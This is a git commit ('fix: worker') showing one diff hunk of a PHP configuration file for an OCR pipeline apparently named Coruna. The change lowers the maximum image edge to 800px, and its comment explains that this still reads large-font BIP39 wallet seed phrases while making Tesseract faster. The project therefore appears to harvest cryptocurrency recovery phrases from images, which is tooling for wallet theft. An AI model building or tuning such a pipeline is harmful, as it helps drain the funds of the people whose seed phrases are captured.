fix: worker

This commit is contained in:
hashbro
2026-09-29 01:32:21 +08:00
parent 8f7469cc4e
commit 2c87d37051
7 changed files with 86 additions and 4 deletions
+4 -1
View File
@@ -16,7 +16,10 @@ return [
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
'oem' => (int) env('CORUNA_OCR_OEM', 1),
'psm' => (int) env('CORUNA_OCR_PSM', 6),
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1280),
// 800px is enough for large-font BIP39 seed phrases (wallet apps show
// them in big monospace). 1280 made Tesseract ~2-3x slower per image
// with no recall gain. Override via CORUNA_OCR_MAX_EDGE if needed.
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 800),
],
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
'xxbb' => [